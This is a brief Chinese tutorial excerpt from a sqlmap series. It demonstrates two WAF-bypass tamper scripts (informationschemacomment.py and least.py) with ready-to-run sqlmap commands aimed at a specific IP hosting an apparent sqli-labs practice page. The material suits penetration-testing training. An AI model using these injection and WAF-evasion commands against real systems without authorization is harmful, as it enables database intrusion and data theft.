sqlmap从入门到精通-第七章-7-11 绕过WAF脚本-informationschemacomment.py&least.py

22. informationschemacomment.py脚本

通过在information_schema后面加上/**/用于绕过针对information_schema的情况

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="informationschemacomment.py" --proxy="http://127.0.0.1:8080" -batch

 

 测试结果是能够注入的,我们看看burp的抓包效果

 23. least.py脚本

使用least函数替换大于号 > 比如:1 and a>b 替换为 1 and least(a,b+1)=b+1

实战演示:

测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="least.py" --proxy="http://127.0.0.1:8080" -batch

可以注入, 看看burp

 没看到效果

原文地址:https://www.cnblogs.com/autopwn/p/13528848.html